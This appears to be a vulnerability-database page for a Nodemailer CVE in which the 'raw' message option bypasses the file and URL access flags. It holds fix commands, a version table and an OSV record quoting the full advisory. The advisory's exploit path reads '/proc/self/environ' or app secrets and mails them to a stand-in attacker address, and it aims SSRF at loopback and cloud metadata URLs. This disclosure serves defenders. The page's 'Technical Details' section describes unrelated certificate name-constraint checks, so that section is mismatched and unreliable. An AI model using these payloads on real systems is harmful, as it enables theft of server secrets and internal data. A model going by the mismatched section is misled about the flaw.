CVE-2026-82659: Nodemailer Message-level Raw Option Bypasses DisableFileAccess/disableUrlAccess, Vulnerability
HIGHCVE-2026-82659 is a HIGH (CVSS 7.1) message-level raw option bypasses disablefileaccess/disableurlaccess, vulnerability (CWE-73: External Control of File Name or Path) affecting Nodemailer libraries in the npm ecosystem. The issue involves message-level raw option bypasses disablefileaccess/disableurlaccess, enabling arbitrary file read and full-response ssrf in the delivered message. Remediation is available by upgrading affected packages to version 9.0.1.
CVE-2026-82659 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).
How to Fix CVE-2026-82659
To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install nodemailer@9.0.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls nodemailer
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-82659, inspect your project dependencies using npm:
npm ls nodemailer
Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.0.1), your application is affected.
Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & RFC 5280 Specification
Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Nodemailer failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.
Source Advisory Statement
CVE-2026-82659 Affected Nodemailer Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nodemailer
|
npm |
< 9.0.1
|
9.0.1
|
References
Frequently Asked Questions
What is CVE-2026-82659?
Which Nodemailer versions are affected?
What version fixes CVE-2026-82659?
Is nodemailer affected?
What is the CVSS score of CVE-2026-82659?
What CWE is associated with CVE-2026-82659?
How can I check npm dependencies for CVE-2026-82659?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p6gq-j5cr-w38f",
"modified" : "2026-09-02T14:47:22Z",
"published" : "2026-06-18T14:28:05Z",
"aliases" : [ "CVE-2026-82659" ],
"summary" : "Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message",
"details" : "# Message-level `raw` option bypasses `disableFileAccess` / `disableUrlAccess`, enabling arbitrary file read and full-response SSRF in the sent message\n\n- **Target:** nodemailer/nodemailer, npm `nodemailer` **v9.0.0** (HEAD `4e58450eb490e5097a74b2b2cce35a8d9e21856e`)\n- **Verdict:** CONFIRMED (local PoC, no network)\n\n## Summary\n\nNodemailer exposes `disableFileAccess` and `disableUrlAccess` so an application that passes\n**untrusted** message data to the library can forbid that data from reading local files or\nfetching URLs. Every attachment, alternative, `html`/`text`/`watchHtml`/`amp` and `icalEvent`\ncontent node honors these flags. **The message-level `raw` option does not.**\n\n`MailComposer.compile()` builds the root MIME node for a `raw` message **without** threading the\ntwo flags, so a `raw: { path: '/etc/passwd' }` or `raw: { href: 'http://169.254.169.254/…' }`\nmessage is read / fetched anyway, and the file or HTTP-response bytes become the **actual\nmessage that is sent** by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose\ninput the application intended to sandbox therefore obtains arbitrary local-file disclosure and\na full-response SSRF primitive, delivered to a recipient the same actor can choose.\n\nThis is the same vulnerability class as the already-published jsonTransport advisory\n**GHSA-wqvq-jvpq-h66f**, but a **distinct code path** (`raw` root node, not `normalize()`), and\nstrictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas\nthis affects the delivered RFC822 message for all transports.\n\n## Affected component\n\n- `lib/mail-composer/index.js:34-35` — root cause:\n ```js\n if (this.mail.raw) {\n this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw);\n }\n ```\n The `MimeNode` is constructed with only `{ newline }`. Compare the sibling node builders\n `_createMixed`/`_createAlternative`/`_createRelated`/`_createContentNode`\n (`lib/mail-composer/index.js:389-527`), which all pass\n `disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess`.\n- `lib/mime-node/index.js:51-52` — the constructor derives `this.disableFileAccess`/\n `this.disableUrlAccess` solely from its own `options`; children do **not** inherit a parent's\n flags (`createChild`/`appendChild`, lines 175-194, pass options through verbatim).\n- `lib/mime-node/index.js:812` — `setRaw()` content is resolved through `this._getStream(this._raw)`.\n- `lib/mime-node/index.js:984-1010` — `_getStream` reads the file (`fs.createReadStream`, 995) or\n fetches the URL (`nmfetch`, 1009) **only guarded by `this.disableFileAccess`/`this.disableUrlAccess`**,\n which on the `raw` root node are `false`.\n- Reached from the normal send flow at `lib/mailer/index.js:188`\n (`mail.message = new MailComposer(mail.data).compile()`), so every transport is affected.\n\n## Reachability gate (hop-by-hop)\n\n1. **Source.** Application calls `transporter.sendMail({ raw: <userControlled> , to: <userControlled> })`\n with `disableFileAccess: true` and/or `disableUrlAccess: true` configured on the transporter\n (forced onto `mail.data` in `lib/mailer/mail-message.js:36-40`) or per message. This is the\n exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was\n accepted.\n2. **Guard — the access flags.** For attachments the flag is enforced: a node created by\n `_createContentNode` carries `disableFileAccess`, so `_getStream` throws `EFILEACCESS`.\n **Bypass:** the `raw` branch (`compile():34-35`) never sets the flag on its node, so\n `this.disableFileAccess === false` and the guard at `mime-node:985` / `:999` is skipped.\n There is no other validation between `mail.raw` and the read; `raw` content shapes\n (`{path}`, `{href}`, stream, string, buffer) are accepted as-is by `setRaw`/`_getStream`.\n3. **Sink.** `fs.createReadStream(content.path)` (file disclosure) or\n `nmfetch(content.href, …)` (SSRF). The resulting bytes are emitted as the message body by\n `createReadStream()`, which every transport pipes to its destination\n (`smtp-transport:233`, `smtp-pool/pool-resource:208`, `ses-transport:96`, `sendmail-transport:184`,\n `stream-transport:67`).\n\nNo guard blocks the chain; the only guard (the access flags) is structurally absent on this node.\n\n## Root cause\n\nInconsistent enforcement: the access policy is applied per-`MimeNode` via constructor options and\nmust be re-passed at every node creation. The `raw`-message shortcut in `compile()` omits it,\nwhile all five other node builders include it. The flags are therefore enforced for every content\ntype *except* the one that lets the caller supply a complete message body by path/URL.\n\n## Exploit path\n\nApplication that sandboxes untrusted mail input (`disableFileAccess`/`disableUrlAccess` set):\n\n1. Untrusted actor supplies `raw: { path: '/proc/self/environ' }` (or any server file:\n `/app/.env`, key material, etc.) and `to: attacker@evil.test`.\n2. `compile()` builds the raw root node without the flags; the transport reads the file and sends\n its contents as the message → **arbitrary server-file exfiltration to an attacker-chosen mailbox.**\n3. Alternatively `raw: { href: 'http://127.0.0.1:8080/admin' }` or a cloud metadata URL →\n Nodemailer fetches it server-side and delivers the full response body in the email →\n **full-response SSRF** (no blind-channel limitation).\n\n## Impact\n\n- **Confidentiality (High):** arbitrary local file read disclosed in the outgoing message;\n full-response SSRF to internal/metadata endpoints, also disclosed in the message.\n- **Integrity (Low):** attacker-fetched/file content is injected into the delivered mail.\n- The two protective flags an application relies on to contain untrusted input are silently\n ineffective for `raw`.\n\n## Preconditions\n\nThe application (a) passes `disableFileAccess` and/or `disableUrlAccess` (the documented sandboxing\nflags) and (b) lets untrusted input influence the `raw` field (and, for maximal disclosure, `to`).\nNo other configuration is required; all bundled transports are affected. This mirrors the accepted\nprecondition of GHSA-wqvq-jvpq-h66f.\n\n## Severity\n\n- **AV** — message data routinely originates over the network in the apps these flags protect.\n- **AC** — a single crafted `raw` object; deterministic.\n- **PR** — the actor is a user whose input the app already treats as untrusted (the reason the\n flags are set); not fully anonymous in the typical deployment.\n- **UI** — no victim interaction.\n- **S** — impact within Nodemailer's process scope.\n- **C** — arbitrary file read **and** full-response SSRF, both delivered to an attacker-chosen\n recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned\n JSON; here the bytes leave the system in the sent message, so C:H is warranted.)\n- **I** — attacker injects fetched/file bytes into the outgoing message.\n- **A**.\nNote: if a deployment fixes the recipient (`to` not attacker-controlled) the disclosure channel\nnarrows and the rating degrades toward the sibling's Medium; the High rating reflects the\nreasonable worst case where `raw` and `to` are both untrusted.\n\n## Adversarial re-read (attempts to refute)\n\n1. **\"`raw` content is by-design trusted, so the flags shouldn't apply.\"** Rejected: every other\n content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the\n maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this \"untrusted input + flag set\"\n model. The asymmetry — attachment `{path}` is blocked but `raw:{path}` is not — is the bug, and\n the PoC's CONTROL case proves the flag is otherwise effective on the same file.\n2. **\"The raw node inherits the flags via rootNode.\"** Rejected by code and by PoC: `compile():35`\n constructs the node with `{ newline }` only; `MimeNode` constructor sets\n `this.disableFileAccess = !!options.disableFileAccess` → `false`; `rootNode` is itself; no\n inheritance exists.\n3. **\"The PoC leaks for an unrelated reason.\"** Rejected: the CONTROL message (`attachments:[{path}]`,\n same file, same transporter) returns `EFILEACCESS`; only the `raw:{path}` message leaks. The\n sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only\n obtainable by an actual fetch. Both observables are uniquely bound to the bypass.\n4. **\"Maybe only jsonTransport (already reported) is affected.\"** Rejected: the PoC uses\n `streamTransport` and the root cause is in `MailComposer.compile()` (`mailer:188`), shared by all\n transports; jsonTransport is a different (already-fixed) path.\n\nI could not find any guard that blocks the chain; the finding survives.\n\n## Proof of concept (safe, benign)\n\n`findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` — local, no network egress (loopback only),\nno destructive action. Output:\n```\n[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here\n[ATTACK] raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)\nVERDICT: CONFIRMED\n```\nRun: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0 = confirmed).\n\n## Remediation\n\nThread the access policy onto the `raw` root node, exactly as the other builders do:\n```js\nif (this.mail.raw) {\n this.message = new MimeNode('message/rfc822', {\n newline: this.mail.newline,\n disableFileAccess: this.mail.disableFileAccess,\n disableUrlAccess: this.mail.disableUrlAccess\n }).setRaw(this.mail.raw);\n}\n```\n(Defense in depth: `setRaw`/`_getStream` could also refuse `{path}`/`{href}` raw content when either\nflag is set, regardless of how the node was constructed.) Add a regression test asserting that\n`raw:{path}` and `raw:{href}` reject with `EFILEACCESS`/`EURLACCESS` when the flags are set, mirroring\nthe attachment tests.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "nodemailer"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "9.0.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 9.0.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Sif-0x01/security-advisories/security/advisories/GHSA-68x8-4h5v-r533"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-82659"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/commit/a82e060d978f27e5f41369a9a9807b1e3dedc2e2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nodemailer/nodemailer"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/releases/tag/v9.0.1"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/nodemailer-before-9.0.1-file-read-and-ssrf-via-raw-option"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-73", "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-18T14:28:05Z",
"nvd_published_at" : null
}
}